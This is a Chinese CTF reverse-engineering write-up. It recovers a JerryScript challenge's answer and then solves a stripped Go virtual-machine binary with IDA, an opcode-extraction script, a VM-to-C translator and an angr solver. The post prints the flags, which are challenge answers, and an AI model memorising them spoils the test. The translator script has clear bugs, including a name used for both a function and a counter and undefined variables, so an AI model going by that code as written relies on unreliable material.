936 : CBC_LESS
937 : CBC_BRANCH_IF_TRUE_BACKWARD offset:20(->917)
939 : CBC_PRE_INCR_IDENT reg:1
941 : CBC_LESS_TWO_LITERALS reg:1 ident:21->string(count)
944 : CBC_BRANCH_IF_TRUE_BACKWARD offset:48(->896)
946 : CBC_PUSH_LITERAL ident:27->string(message_c)
948 : CBC_BRANCH_IF_FALSE_FORWARD offset:10(->958)
950 : CBC_PUSH_THREE_LITERALS ident:29->string(print) ident:17->string(compare_array) ident:27->string(message_c)
954 : CBC_PUSH_LITERAL ident:26->string(ans)
956 : CBC_CALL2_PUSH_RESULT
957 : CBC_CALL1_BLOCK
958 : CBC_RETURN_FUNCTION_END

找在线解密⽹址可以直接求解

image-20221101104654095

后⾯不可⻅字符换成 }, 即为flag: ctf{w3_f0und_1t_112ug31vjhe121f21fas}

machine

​ 隔了两周终于将这道题整明白了,完完整整的将这个题做了一遍,还是很折磨。首先,拉到ida里看是一个golang逆向,这个go逆向,在出题人编译的时候加上了-s -w,使得这个题去了符号,甚至还需要进行一定的操作才能看到正常的模样。

​ 首先要知道去过符号的go是怎么逆向的,建议编写一个go不去符号的hello world,从start开始一直找到main_main函数,下面简单介绍一下这种go是如何找到main_main的。

第一步找到start函数

1
2
3
4
5
// attributes: thunk
void __golang __noreturn start(char a1)
{
start_0(a1);
}

进入start_0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __golang __noreturn start_0(char a1)
{
__int64 v11; // rax
char v12[65432]; // [rsp+0h] [rbp-FFC0h] BYREF
int v13; // [rsp+FF98h] [rbp-28h] BYREF
__int64 v14; // [rsp+FFB0h] [rbp-10h]
char *v15; // [rsp+FFB8h] [rbp-8h]
__int64 retaddr; // [rsp+FFC0h] [rbp+0h]

v14 = retaddr;
v15 = &a1;
qword_5A5860[2] = v12;
qword_5A5860[3] = v12;
qword_5A5860[0] = v12;
qword_5A5860[1] = &v13;
_RAX = 0LL;
__asm { cpuid }
if ( (_DWORD)_RAX )
{
if ( (_DWORD)_RBX == 1970169159 && (_DWORD)_RDX == 1231384169 && (_DWORD)_RCX == 1818588270 )
byte_5F9C6B = 1;
_RAX = 1LL;
__asm { cpuid }
dword_5F9CCC = _RAX;
}
if ( qword_5A47C0 )
{
qword_5A47C0();
v11 = qword_5A5860[0] + 5024LL;
qword_5A5860[2] = qword_5A5860[0] + 5024LL;
qword_5A5860[3] = v11;
}
sub_45E9A0();
*(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer = 291LL;
if ( qword_5A5C18 != 291 )
sub_45CB60();
*(_QWORD *)NtCurrentTeb()->NtTib.ArbitraryUserPointer = qword_5A5860;
qword_5A5BC0[0] = qword_5A5860;
qword_5A5860[6] = qword_5A5BC0;
sub_45F0A0();
STACK[0x1FF40] = runtime_newproc_abi0(v14, (__int64)v15);
sub_45EDC0();
sub_45EFA0();
STACK[0x1FF28] = runtime_badmcall_abi0_0((__int64)&off_510798);//该处off_510798
sub_45A900();
sub_45CB60();
}

找到倒数第三行处的off_510798,双击进入

image-20221116210254376

进入qword_435BA0

image-20221116210321534

发现一大堆没有反编译的数据,我们选中先按c,再按p,创建函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
LABEL_13:
sub_442520(v4);
byte_5F9F60 = 0;
v10 = sub_404F60(v6);
v11 = 0;
runtime_unlockOSThread();
if ( !byte_5F9C6C && !byte_5F9C6E )
{
((void (*)(void))&qword_4C5508[267])();
if ( !dword_5F9CD0 || !dword_5F9CD0 )
{
if ( dword_5F9CC8 )
runtime_gopark(v7, v10);
runtime_exit(v7);
while ( 1 )
MEMORY[0] = 0;
}
v13 = 0LL;
runtime_mcall(v7);
}
v12 = 0;
(*v16)();
}

从后往前看找到((void (*)(void))&qword_4C5508[267])()地方,进入发现也没有反编译,老样子点c,再点p。得出来的就是我们要找的main_main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __usercall sub_4C5D60@<rax>()
{
__int64 v0; // rdi
__int64 v1; // r14
__int64 result; // rax
unsigned __int64 v3; // rcx
char v4; // [rsp+90h] [rbp-1B8h] BYREF

if ( (unsigned __int64)&v4 <= *(_QWORD *)(v1 + 16) )
sub_45AB00();
result = ((__int64 (*)(void))&qword_49AEB8[277])();
if ( !v0 )
{
if ( v3 >= 0x100 )
sub_45D2A0();
sub_45D260();
}
return result;
}

找到main_main后,发现还有没解析出来的函数,然后又看到主函数的逻辑仿佛像是一个ollvm整过的混淆

image-20221116211529328

在我之前的认知中ollvm的题无非是用脚本或者插件去混淆,或者用unicorn找路线,又或者是硬调。这个题在main_main处还不能f5,这个原因是有一条指令干扰了反汇编,经过尝试发现是下面这个汇编指令干扰了反汇编

image-20221117084151775

将其nop掉就可以f5了,直接得到了经典的虚拟机状态

我们直接看函数,先看前271行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
if ( (unsigned __int64)&v128 <= *(_QWORD *)(v1 + 16) )
sub_5DAB00();
sub_61B760();
if ( !v0 )
{
if ( v4 < 0x100 )
sub_5DD260();
v143 = v4 - 256;
v157 = v3 + (((__int64)(256 - v4) >> 63) & 0x100);
v142 = -248LL;
retaddr = sub_645BC0();
if ( v5 )
{
LABEL_91:
sub_620E40(v131, v132, v133, v134, v135, v136, v137);
}
else
{
v6 = v142;
retaddr = sub_645A40();
if ( v7 )
{
v142 = v6;
v156 = v7;
opcode = v2;
v129 = &v130;
v8 = ((__int64 (*)(void))loc_5DD486)();
*((_QWORD *)&opcode + 1) = &unk_779E78;
arr_v163 = &unk_779E78;
for ( i = 0LL; v6 > i; i += 8LL )
{
v10 = i + 7;
v11 = 0LL;
while ( v10 >= i )
{
if ( v6 <= (unsigned __int64)v10 )
sub_5DD1E0(v131, v132);
v11 = *(unsigned __int8 *)(v8 + v10--) + (v11 << 8);
}
v12 = v175;
v13 = *((_QWORD *)&opcode + 1);
if ( v176 < v175 + 1 )
{
v141 = i;
v144 = v11;
v14 = *((_QWORD *)&opcode + 1);
runtime_growslice(v131);
v176 = v15;
*((_QWORD *)&opcode + 1) = v16;
i = v141;
v11 = v144;
v12 = v14;
v13 = v16;
v8 = v156;
v6 = v142;
}
v175 = v12 + 1;
*(_QWORD *)(v13 + 8 * v12) = v11;
}

函数主要逻辑是先对code.bin的数据进行加载,然后将数据进行hash和rsa的值进行验证,可以不用管,最后将数据进行一个解压生成opcode,我们直接动态调试,在下面的地方下断点,然后跟踪到v18的“生产地”找到opcode,然后提取出来

image-20221117085530441

image-20221117085708154

用下面的脚本提取opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import struct 

def read_bin(file_name):
"""
function: read a bin file, return the tuple of the content in file
"""
with open(file_name, "rb") as f:
f_content = f.read()
content = struct.unpack("B" * len(f_content), f_content)
f.close()
return content
data = read_bin('./opcode')
for i in range(0,len(data),8):
print(hex(data[i+7])+hex(data[i+6])[2:]+hex(data[i+5])[2:]+hex(data[i+4])[2:]+hex(data[i+3])[2:]+hex(data[i+2])[2:]+hex(data[i+1])[2:]+hex(data[i])[2:],end=",")

接下来就是进行一个分析,我们就简单的举两个例子来分析。

比如当op == 0x8 时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
else if ( v18 == 8 )                // op == 0x8
{
v76 = lenth;
v77 = lenth - 1;
if ( lenth <= lenth - 1 )//不用管if这个判断
sub_5DD1E0(v131, v132);
v78 = arr[--lenth];
v79 = v76 - 2;
if ( v76 - 2 >= v77 )//永远不会成立
sub_5DD1E0(v131, v132);
v80 = arr[v76 - 2];
lenth = v79;
v81 = -(__int64)(v80 < 0x40) & (v78 << v80);
v82 = arr;
if ( nowplace < v77 )//比较毫无意义,就是混淆
{
v147 = v81;
runtime_growslice(v131);
nowplace = v83;
arr = v84;
v81 = v147;
v79 = (unsigned __int64)v82;
v82 = v84;
}
lenth = v79 + 1;
v82[v79] = v81;//v82就是arr,该行就是表示arr[v79] = -(__int64)(v80 < 0x40) & (v78 << v80)
}

lenth是步长,是决定opcode位置的标识,arr和lenth是全局变量,要进行保留,经过调试发现每一个运算都会使用一个opcode,所以在结束的时候要进行op++。

这是opcode == 0x0的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else                                  // op == 0x0
{
if ( v175 <= v19 )
sub_5DD1E0(v131, v132);
v20 = *(_QWORD *)(*((_QWORD *)&opcode + 1) + 8 * pc + 8);// 取下一个指令
*(_QWORD *)&opcode = pc + 2; // 更新opcode位置
v21 = lenth;
v22 = arr;
if ( nowplace < lenth + 1 )
{
v139 = v20;
runtime_growslice(v131);
nowplace = v23;
arr = v24;
v20 = v139;
v21 = (unsigned __int64)v22;
v22 = v24;
}
lenth = v21 + 1;
v22[v21] = v20;

会使用*(_QWORD *)&opcode = pc + 2; 进行一个op += 2,v20 = *(_QWORD )(((_QWORD *)&opcode + 1) + 8 * pc + 8);是获取opcode值,也就是说这个相当于是一个赋值操作。

我们将opcode编写成c语言,然后通过优化进行一个恢复加密,再通过angr进行解题

给出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#省略opcode
opcode = []

file = open(r".\opcode","w")
def p(pt):
global file
file.write(pt+";"+"\n")


arr = [0] * 10000
lenth = 0
arr_data = [0] * 10000
scan_len = 0
num = 0
p = 0

while p < len(opode):
op = opode[p]
if op == 0x0:
v11 = lenth
lenth = v11 + 1

arr[v11] = opode[p + 1]
p(f"arr[{v11}] = {arr[v11]}")
p += 2

elif op == 0x1:
v17 = lenth
v18 = lenth + 1

v15 = opode[p + 1]
v16 = arr_data[v15]
lenth = v17 + 1
arr[v17] = v16
p(f"arr[{v17}] = arr_data[{v15}]")
p += 2

elif op == 0x2:
v21 = opode[p + 1]
a_len = lenth - 1
v22 = arr[lenth - 1]
lenth -= 1
arr_data[v21] = v22
p(f"arr_data[{v21}] = arr[{a_len}]")
p += 2

elif op == 0x3:
v23 = lenth
v24 = lenth - 1
lenth -= 1
a_len = lenth
v25 = arr[lenth]
v26 = v23 - 2
v27 = arr[v23 - 2] + v25
lenth = v32 - 2
lenth = v26 + 1
arr[v26] = v27
p(f"arr[{v26}] = arr[{v23 - 2}] + arr[{a_len}]")
p += 1

elif op == 0x4:
v31 = lenth
v32 = lenth - 1
a_len = lenth - 1
v33 = arr[lenth - 1]
lenth -= 1
v34 = v31 - 2
v35 = v33 - arr[v31 - 2]
lenth = v31 - 2
lenth = v34 + 1
arr[v34] = v35
p(f"arr[{v34}] = arr[{a_len}] - arr[{v31 - 2}]")
p += 1

elif op == 0x5:
v39 = lenth
v40 = lenth - 1
a_len = lenth - 1
v41 = arr[lenth - 1]
lenth -= 1
v42 = v39 - 2
v43 = arr[v39 - 2]
lenth = v39 - 2
v44 = v43 * v41
lenth = v42 + 1
arr[v42] = v44
p(f"arr[{v42}] = arr[{v39 - 2}] * arr[{a_len}]")
p += 1

elif op == 0x6:
v48 = lenth
v49 = lenth - 1
a_len = lenth - 1
v50 = arr[lenth - 1]
lenth -= 1
v51 = v48 - 2
v52 = arr[v48 - 2]
lenth = v48 - 2
v53 = v49
v54 = v50 // v52
lenth = v51 + 1
arr[v51] = v54
p(f"arr[{v51}] = arr[{a_len}] // arr[{v48 - 2}]")
assert 0
p += 1

elif op == 0x7:
v68 = lenth
v69 = lenth - 1
a_len = lenth - 1
v70 = arr[lenth - 1]
lenth -= 1
v71 = v68 - 2
v72 = arr[v68 - 2] ^ v70
lenth = v68 - 2
lenth = v71 + 1
arr[v71] = v72
p(f"arr[{v71}] = arr[{v68 - 2}] ^ arr[{a_len}]")
p += 1

elif op == 0x8:
v76 = lenth
v77 = lenth - 1
lenth -= 1
a_len = lenth
v78 = arr[lenth]
v79 = v76 - 2
v80 = arr[v76 - 2]
lenth = v79
v81 = -(v80 < 0x40) & (v78 << v80)
lenth = v79 + 1
arr[v79] = v81
p(f"arr[{v79}] = -(arr[{v76 - 2}] < 0x40) & (arr[{a_len}] << arr[{v76 - 2}])")
p += 1

elif op == 0x9:
v85 = lenth
v86 = lenth - 1
a_len = lenth - 1
v87 = arr[lenth - 1]
lenth -= 1
v88 = v85 - 2
v89 = arr[v85 - 2]
lenth = v88
v90 = -(v89 < 0x40) & (v87 >> v89)
lenth = v88 + 1
arr[v88] = v90
p(f"arr[{v88}] = -(arr[{v85 - 2}] < 0x40) & (arr[{a_len}] >> arr[{v85 - 2}])")
p += 1

elif op == 0xa:
v94 = lenth
v95 = lenth - 1
a_len = lenth - 1
v96 = arr[lenth - 1]
lenth -= 1
lenth = v95 + 1
arr[v95] = ~v96
p(f"arr[{v95}] = ~arr[{a_len}]")
p += 1

elif op == 0xb:
v101 = lenth
v102 = lenth - 1
a_len = lenth - 1
v103 = arr[lenth - 1]
lenth -= 1
v104 = v101 - 2
v105 = arr[v101 - 2] & v103
lenth = v101 - 2
lenth = v104 + 1
arr[v104] = v105
p(f"arr[{v104}] = arr[{v101 - 2}] & arr[{a_len}]")

p += 1

elif op == 0xc:
if flag[scan_len] == "\n":
arr[2] = ord(flag[scan_len])
scan_len += 1
p(f"arr[2] = 0")
p(f"scanf(\"%c\",&arr[2])")
else:
arr[0] = ord(flag[scan_len])
scan_len += 1
p(f"arr[0] = 0")
p(f"scanf(\"%c\",&arr[0])")
num += 1
lenth += 1
p += 1

elif op == 0xd:
try:
p(f"// {chr(opode[p+1])}")
except:
print(hex(p))
p += 2

elif op == 0xe:
lenth -= 1
call = f'''if (arr[{lenth}])\n\texit(0)'''
p(call)
p +=1

elif op == 0xcc:
print("here op == 0xcc")
assert 0
else:
assert 0

file.close()

运行后得到了一个将近两万行的代码,稍微修一下然后用gcc生成文件

image-20221117092240038

1
gcc opcode.c -g -O3 -o opcode

得到的文件如下:

image-20221117092604330

只剩不到300行,直接用z3或者angr进行解决即可,在此采用angr解决:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import angr
import sys

def main(argv):
path_to_binary = './opcode'
project = angr.Project(path_to_binary)

initial_state = project.factory.entry_state()

simulation = project.factory.simgr(initial_state)
print_good_address = 0x01B66
fail_address = 0x015AD
simulation.explore(find=print_good_address,avoid=fail_address)
if simulation.found:
solution_state = simulation.found[0]
print(solution_state.posix.dumps(sys.stdin.fileno()))

else:
raise Exception('Nooooooooooo')

if __name__ == '__main__':
main(sys.argv)

找到路径,得到flag:734f1698a5775ec26cd2e11ed4791e77